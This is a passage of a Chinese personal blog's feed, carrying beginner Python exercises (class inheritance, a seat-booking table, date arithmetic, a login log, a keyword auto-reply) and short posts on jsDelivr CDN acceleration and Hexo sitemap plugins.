class="string">&#x27;小鸟在唱歌&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    play(Erhu())</span><br><span class="line">    play(Piano())</span><br><span class="line">    play(Violin())</span><br></pre></td></tr></table></figure><h3 id="2请使用面向对象的思想设计自定义类描述出租车和家用轿车的信息"><a class="markdownIt-Anchor" href="#2请使用面向对象的思想设计自定义类描述出租车和家用轿车的信息">#</a> （2）请使用面向对象的思想，设计自定义类，描述出租车和家用轿车的信息</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Car</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,<span class="built_in">type</span>,no</span>):</span></span><br><span class="line">        self.<span class="built_in">type</span> = <span class="built_in">type</span></span><br><span class="line">        self.no = no</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">start</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">stop</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Taxi</span>(<span class="params">Car</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,<span class="built_in">type</span>,no,company</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().__init__(<span class="built_in">type</span>,no)</span><br><span class="line">        self.company = company</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">start</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(’乘客您好！)</span><br><span class="line">        print(<span class="string">f&#x27;我是<span class="subst">&#123;self.company&#125;</span>出租车公司的，我的车牌是<span class="subst">&#123;self.no&#125;</span>，请问您要去哪里？&#x27;</span>)</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">stop</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;目的地到了，请您付款下车，欢迎再次乘坐。&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FamilyCar</span>(<span class="params">Car</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,<span class="built_in">type</span>,no,name</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().__init__(<span class="built_in">type</span>,no)</span><br><span class="line">        self.name = name</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">stop</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;目的地到了，我们去玩吧&#x27;</span>)</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">start</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">f&#x27;我是<span class="subst">&#123;self.name&#125;</span>，我的汽车我做主&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    taxi = Taxi(<span class="string">&#x27;上海大众&#x27;</span>,<span class="string">&#x27;京A9765&#x27;</span>,<span class="string">&#x27;长城&#x27;</span>)</span><br><span class="line">    taxi.start()</span><br><span class="line">    taxi.stop()</span><br><span class="line">    print(<span class="string">&#x27;-&#x27;</span>* <span class="number">30</span>)</span><br><span class="line">    familycar = FamilyCar(<span class="string">&#x27;广汽丰田&#x27;</span>,<span class="string">&#x27;京B88888&#x27;</span>,<span class="string">&#x27;武大郎&#x27;</span>)</span><br><span class="line">    familycar.start()</span><br><span class="line">    familycar.stop()</span><br><span class="line">    </span><br></pre></td></tr></table></figure><h2 id="14-案例十四"><a class="markdownIt-Anchor" href="#14-案例十四">#</a> 14. 案例十四</h2><h3 id="1模拟高铁售票系统"><a class="markdownIt-Anchor" href="#1模拟高铁售票系统">#</a> （1）模拟高铁售票系统</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> prettytable <span class="keyword">as</span> pt</span><br><span class="line"></span><br><span class="line"><span class="comment">#显示座席</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_ticket</span>(<span class="params">row_num</span>):</span></span><br><span class="line">    tb = pt.PrettyTable()</span><br><span class="line">    tb.field_names = [<span class="string">&#x27;行号&#x27;</span>,<span class="string">&#x27;座位1&#x27;</span>,<span class="string">&#x27;座位2&#x27;</span>,<span class="string">&#x27;座位3&#x27;</span>,<span class="string">&#x27;座位4&#x27;</span>,<span class="string">&#x27;座位5&#x27;</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(row_num):</span><br><span class="line">        lst = [<span class="string">f&#x27;第<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>行&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>]</span><br><span class="line">        tb.add_row(lst)</span><br><span class="line">    print(tb)</span><br><span class="line"><span class="comment">#订票</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">order_ticket</span>(<span class="params">row_num,row,column</span>):</span></span><br><span class="line">    tb = pt.PrettyTable()</span><br><span class="line">    tb.field_names = [<span class="string">&#x27;行号&#x27;</span>,<span class="string">&#x27;座位1&#x27;</span>,<span class="string">&#x27;座位2&#x27;</span>,<span class="string">&#x27;座位3&#x27;</span>,<span class="string">&#x27;座位4&#x27;</span>,<span class="string">&#x27;座位5&#x27;</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(row_num):</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">int</span>(row) == i+<span class="number">1</span>:</span><br><span class="line">            lst = [<span class="string">f&#x27;第<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>行&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>]</span><br><span class="line">            lst[<span class="built_in">int</span>(column)] = <span class="string">&#x27;已售&#x27;</span></span><br><span class="line">            tb.add_row(lst)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            lst = [<span class="string">f&#x27;第<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>行&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>,<span class="string">&#x27;有票&#x27;</span>]</span><br><span class="line">            tb.add_row(lst)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    row_num = <span class="number">13</span></span><br><span class="line">    show_ticket(row_num)</span><br><span class="line">    choose_num = <span class="built_in">input</span>(<span class="string">&#x27;请输入选择的座位，如13,5表示13排5号座位&#x27;</span>)</span><br><span class="line">    <span class="comment">#英文逗号处分隔行与列</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">       row,column = choose_num.split(<span class="string">&#x27;,&#x27;</span>) </span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        print(<span class="string">&#x27;输入格式有误，如13排5号座位，应该位13,5&#x27;</span>)</span><br><span class="line">    order_ticket(row_num,row,column)</span><br></pre></td></tr></table></figure><h3 id="2推算几天后的日期"><a class="markdownIt-Anchor" href="#2推算几天后的日期">#</a> （2）推算几天后的日期</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">inputdate</span>():</span>    </span><br><span class="line">    indate = <span class="built_in">input</span>(<span class="string">&#x27;请输入开始日期：&#123;20200202&#125;后按回车&#x27;</span>)</span><br><span class="line">    indate = indate.strip()</span><br><span class="line">    datestr = indate[<span class="number">0</span>:<span class="number">4</span>] + <span class="string">&#x27;-&#x27;</span> + indate[<span class="number">4</span>:<span class="number">6</span>] + <span class="string">&#x27;-&#x27;</span> +indate[<span class="number">6</span>:]</span><br><span class="line">    <span class="keyword">return</span> datetime.datetime.strptime(datestr,<span class="string">&#x27;%Y-%m-%d&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    print(<span class="string">&#x27;--------------推算几天后的日期---------------------&#x27;</span>)</span><br><span class="line">    sdate = inputdate()</span><br><span class="line">    in_num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入间隔天数：&#x27;</span>))</span><br><span class="line">    fdate = sdate + datetime.timedelta(days = in_num)</span><br><span class="line">    print(<span class="string">&#x27;您推算的日期是：&#x27;</span> + <span class="built_in">str</span>(fdate))</span><br><span class="line">    print(<span class="string">&#x27;您推算的日期是：&#x27;</span> + <span class="built_in">str</span>(fdate).split(<span class="string">&#x27; &#x27;</span>)[<span class="number">0</span>])</span><br></pre></td></tr></table></figure><h2 id="15-案例十五"><a class="markdownIt-Anchor" href="#15-案例十五">#</a> 15. 案例十五</h2><h3 id="1记录用户的登录日志"><a class="markdownIt-Anchor" href="#1记录用户的登录日志">#</a> （1）记录用户的登录日志</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_info</span>():</span></span><br><span class="line">    print(<span class="string">&#x27;输入提示数字，执行相应的操作：0.退出  1.查看登录日志&#x27;</span>)</span><br><span class="line">    </span><br><span class="line"><span class="comment">#记录日志</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write_logininfo</span>(<span class="params">username</span>):</span></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;log.txt&#x27;</span>,<span class="string">&#x27;a&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">        s = <span class="string">f&#x27;用户名<span class="subst">&#123;username&#125;</span>，登录时间：<span class="subst">&#123;time.strftime(<span class="string">&quot;%Y-%m-%d %H:%M:%S&quot;</span>,time.localtime(time.time()))&#125;</span>&#x27;</span></span><br><span class="line">        file.write(s)</span><br><span class="line">        file.write(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#读取日志</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_logininfo</span>():</span></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;log.txt&#x27;</span>,<span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            line = file.readlin()</span><br><span class="line">            <span class="keyword">if</span> line == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">               print(line,end = <span class="string">&#x27;&#x27;</span>) </span><br><span class="line">                        </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    username = <span class="built_in">input</span>(<span class="string">&#x27;请输入用户名：&#x27;</span>)</span><br><span class="line">    pwd = <span class="built_in">input</span>(<span class="string">&#x27;请输入密码：&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;admin&#x27;</span> == username <span class="keyword">and</span> <span class="string">&#x27;admin&#x27;</span> == pwd:</span><br><span class="line">        print(<span class="string">&#x27;登录成功！&#x27;</span>)</span><br><span class="line">        write_logininfo(username)</span><br><span class="line">        show_info()</span><br><span class="line">        num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入操作数字&#x27;</span>))</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            <span class="keyword">if</span> num == <span class="number">0</span>:</span><br><span class="line">                print(<span class="string">&#x27;退出成功&#x27;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">elif</span> num == <span class="number">1</span>:</span><br><span class="line">                print(<span class="string">&#x27;查看登录日志&#x27;</span>)</span><br><span class="line">                read_logininfo()</span><br><span class="line">                num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;输入操作数字：&#x27;</span>))</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                print(<span class="string">&#x27;您输入的数字有误&#x27;</span>)</span><br><span class="line">                show_info()</span><br><span class="line">                num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;输入操作数字：&#x27;</span>))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;对不起，用户名和密码不正确！&#x27;</span>)</span><br><span class="line">    </span><br><span class="line">    print(time.time())</span><br><span class="line">    print(time.localtime(time.time()))</span><br><span class="line">    print(time.strftime(<span class="string">&#x27;%Y-%m-%d %H:%M:%S&#x27;</span>,time.localtime(time.time()))</span><br></pre></td></tr></table></figure><h3 id="2模拟淘宝客服的自动回复"><a class="markdownIt-Anchor" href="#2模拟淘宝客服的自动回复">#</a> （2）模拟淘宝客服的自动回复</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;replay.txt文档</span></span><br><span class="line"><span class="string">订单|如果您有任何订单问题，可以登录淘宝账号，点击“我的订单”，查看订单详情</span></span><br><span class="line"><span class="string">物流|如果您有任何物流问题，可以登录淘宝账号，点击“我的订单”，查看商品系统</span></span><br><span class="line"><span class="string">账户|如果您有任何账号问题，可以联系淘宝客服，电话：XXXX-XXXXXX</span></span><br><span class="line"><span class="string">支付|如果您有任何支付问题，可以联系支付宝客服，QQ：XXXXXXXXX</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_answer</span>(<span class="params">question</span>):</span></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;replay.txt&#x27;</span>,<span class="string">&#x27;r&#x27;</span>,encoding = <span class="string">&#x27;gbk&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            line = file.readline()</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> line:<span class="comment">#if line ==&#x27;&#x27;到文件末尾退出</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="comment">#字符串的分隔</span></span><br><span class="line">            keyword = line.split(<span class="string">&#x27;|&#x27;</span>)[<span class="number">0</span>]</span><br><span class="line">            reply = line.split(<span class="string">&#x27;|&#x27;</span>)[<span class="number">1</span>]</span><br><span class="line">            <span class="keyword">if</span> keyword <span class="keyword">in</span> question:</span><br><span class="line">                <span class="keyword">return</span> reply</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    question = <span class="built_in">input</span>(<span class="string">&#x27;Hi，您好，小蜜在此等主任很久了，有什么烦恼快和小蜜说吧&#x27;</span>)</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">if</span> question == <span class="string">&#x27;bye&#x27;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="comment">#开始在文件中查找</span></span><br><span class="line">        replay = find_answer(question)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> replay:<span class="comment">#如果回复的是False，not False则为True</span></span><br><span class="line">            question = <span class="built_in">input</span>(<span class="string">&#x27;小蜜不知道你在说什么，您可以问一些关于订单、物流、账户、支付等问题（退出请输入bye）&#x27;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(replay)</span><br><span class="line">            question = <span class="built_in">input</span>(<span class="string">&#x27;小主，您还可以问一些关于订单、物流、账户、支付等问题（退出请输入bye&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;小主再见&#x27;</span>)</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="python" scheme="http://www.cclss.top/categories/python/"/>
    
    
    <category term="python学习" scheme="http://www.cclss.top/tags/python%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>Hexo访问优化</title>
    <link href="http://www.cclss.top/post/hexospeed/"/>
    <id>http://www.cclss.top/post/hexospeed/</id>
    <published>2021-02-28T07:24:28.000Z</published>
    <updated>2021-02-28T07:24:28.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="一静态资源加速"><a class="markdownIt-Anchor" href="#一静态资源加速">#</a> 一，静态资源加速</h1><h2 id="1文件加速"><a class="markdownIt-Anchor" href="#1文件加速">#</a> 1. 文件加速</h2><ol><li><p>直接引用</p><p>这种方式也就是上边的方式，格式为： <code>https://cdn.jsdelivr.net/gh/&lt;用户名&gt;/&lt;仓库名&gt;/&lt;文件及路径&gt;</code></p></li><li><p>分支及版本号</p><p>分支与版本号加到仓库后变，用  <code>@</code> 符链接。格式为： <code>https://cdn.jsdelivr.net/gh/&lt;用户名&gt;/&lt;仓库名&gt;@[分支/版本号]/&lt;文件及路径&gt;</code></p><table><thead><tr><th style="text-align:center">分支名</th><th style="text-align:center">简述</th><th style="text-align:center">特点</th></tr></thead><tbody><tr><td style="text-align:center">普通分支</td><td style="text-align:center">即 GitHub 的分支，可以创建多个。默认为 master</td><td style="text-align:center">按分支引用，如同按分支开发</td></tr><tr><td style="text-align:center"><code>latest</code></td><td style="text-align:center">最后一次提交</td><td style="text-align:center">代表最后一次的提交，即每上传一个新文件，都可以用这个分支引用到。也就是不加版本号的默认情况。</td></tr><tr><td style="text-align:center">版本号</td><td style="text-align:center">即指定版本的内容，需配合版本发布</td><td style="text-align:center">已发布的版本不会受到仓库内容变化的影响</td></tr></tbody></table><ol start="3"><li><p>jsdeliver 缓存</p><p>静态资源不可能第一时间更新、如  <code>jsdelivr</code>  上的资源可能会有一天以上的缓存、这时可以 <code>强制刷新(purge)</code></p><p>例如：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">https://<span class="title">cdn.jsdelivr.net</span>/<span class="title">gh</span>/<span class="title">xx</span>/<span class="title">xx.github.io</span>@<span class="title">master</span>/<span class="title">js</span>/<span class="title">main.js</span></span></span><br></pre></td></tr></table></figure><p>通过将  <code>cdn</code>  替换成  <code>purge</code> 、带 purge 的链接只是用来刷新</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">https://<span class="title">purge.jsdelivr.net</span>/<span class="title">gh</span>/<span class="title">xx</span>/<span class="title">xx.github.io</span>@<span class="title">master</span>/<span class="title">js</span>/<span class="title">main.js</span></span></span><br></pre></td></tr></table></figure><p>看到返回的 json 数据中显示的状态是 OK、就可以重新访问</p></li></ol></li></ol><h2 id="2图片加速"><a class="markdownIt-Anchor" href="#2图片加速">#</a> 2，图片加速</h2><pre><code>  ### 方式一</code></pre><p>压缩图片推荐采用 picgo±<a href="https://github.com/JuZiSang/picgo-plugin-compress#readme">picgo-plugin-compress</a></p><p>上传 自动压缩支持多种压缩格式<img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210228154059.png" alt=""></p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210228155317.png" alt="image-20210228154235808"></p><p><a href="https://github.com/JuZiSang/picgo-plugin-compress#%E5%8E%8B%E7%BC%A9%E6%95%88%E6%9E%9C%E5%AF%B9%E6%AF%94">压缩效果对比</a></p><h3 id="方式二"><a class="markdownIt-Anchor" href="#方式二">#</a> 方式二</h3><p>采用 GitHub-<a href="https://github.com/marketplace/imgbot">imgbot</a>  自动压缩</p><h4 id="简介"><a class="markdownIt-Anchor" href="#简介">#</a> 简介</h4><blockquote><p>ImgBot 是一个为你节省时间优化图片的机器人。优化图片意味着不牺牲图片质量和更小的文件大小。 安装后不久，你会收到一个优化图片的 pull request。合并这个 pull request 就行了！Imgbot 会伴随你的工作，保持图片的优化。 ImgBot 默认使用无损压缩。</p></blockquote><p>将 ImgBot 服务安装到你的 GitHub 账户上后，ImgBot 就会自动寻找并压缩你指定仓库中的图片文件 (如果文件多可能耗费时间长)，压缩好后会向你 Pull requests。</p><p>确保你选的仓库有图片，不然不会收到 Pull requests</p><h1 id="二静态资源压缩"><a class="markdownIt-Anchor" href="#二静态资源压缩">#</a> 二，静态资源压缩</h1><p>推荐采用 Gulp</p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="hexo" scheme="http://www.cclss.top/categories/hexo/"/>
    
    
    <category term="优化加速" scheme="http://www.cclss.top/tags/%E4%BC%98%E5%8C%96%E5%8A%A0%E9%80%9F/"/>
    
  </entry>
  
  <entry>
    <title>sitemap</title>
    <link href="http://www.cclss.top/post/sitemap/"/>
    <id>http://www.cclss.top/post/sitemap/</id>
    <published>2021-02-24T12:58:00.000Z</published>
    <updated>2021-02-24T12:58:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="一站点地图sitemap介绍"><a class="markdownIt-Anchor" href="#一站点地图sitemap介绍">#</a> 一，站点地图（Sitemap）介绍</h2><p>站点地图是一个网站所有链接的容器。很多网站的连接层次比较深，爬虫很难抓取到，站点地图可以方便爬虫抓取网站页面，通过抓取网站页面，清晰了解网站的架构，网站地图一般存放在根目录下并命名 sitemap，为爬虫指路，增加网站重要内容页面的收录。站点地图就是根据网站的结构、框架、内容，生成的导航网页文件。站点地图对于提高用户体验有好处，它们为网站访问者指明方向，并帮助迷失的访问者找到他们想看的页面。</p><p>站点地图为 SEO 带来的好处。<br>1. 为搜索引擎爬虫提供可以浏览整个网站的链接；<br>2. 为搜索引擎爬虫提供一些链接，指向动态页面或者采用其他方法比较难以到达的页面；<br>3. 如果访问者试图访问网站所在域内并不存在的 URL，那么这个访问者就会被转到 “无法找到文件” 的错误页面，而网站地图可以作为该页面的 “准” 内容。<br>说白了就是让搜索引擎的爬虫，尽可能多的收录你站点上的页面，页面收录的越多，你的网站的流量就会越大。</p><h2 id="二安装插件"><a class="markdownIt-Anchor" href="#二安装插件">#</a> 二，安装插件</h2><p><strong><a href="https://github.com/hexojs/hexo-generator-sitemap">hexo-generator-sitemap</a></strong><br> 生成 sitemap 的插件</p><p><strong><a href="https://github.com/coneycode/hexo-generator-baidu-sitemap">hexo-generator-baidu-sitemap</a></strong><br> 看名字就知道，是专门为百度生成 sitemap 的插件</p><p>切换到 hexo 根目录下，安装搜索引擎插件，插件根据自己的需要安装其中一个或者都安装：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-generator-sitemap --save</span><br><span class="line">npm install hexo-generator-baidu-sitemap --save</span><br></pre></td></tr></table></figure><p>接着</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo g</span><br></pre></td></tr></table></figure><p>此时，在 public 的静态文件根目录中会多出一个 sitemap.xml 文件，（如果安装 baidu-sitemap 同时会多一个 baidusitemap.xml）</p><h2 id="三使用"><a class="markdownIt-Anchor" href="#三使用">#</a> 三，使用</h2><p>将页面提交到服务器后，通过域名 /sitemap.xml 或者域名 /baidusitemap.xml 可以进行访问 sitemap。</p><p>最后到 Google 或百度对应的站长工具进行提交 sitemap 就可以了。</p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="hexo" scheme="http://www.cclss.top/categories/hexo/"/>
    
    
    <category term="hexo" scheme="http://www.cclss.top/tags/hexo/"/>
    
    <category term="sitemap" scheme="http://www.cclss.top/tags/sitemap/"/>
    
    <category term="butterfly" scheme="http://www.cclss.top/tags/butterfly/"/>
    
  </entry>
  
  <entry>
    <title>git详细</title>
    <link href="http://www.cclss.top/post/git_bash/"/>
    <id>http://www.cclss.top/post/git_bash/</id>
    <published>2021-02-21T13:55:23.000Z</published>
    <updated>2021-02-21T13:55:23.000Z</updated>
    
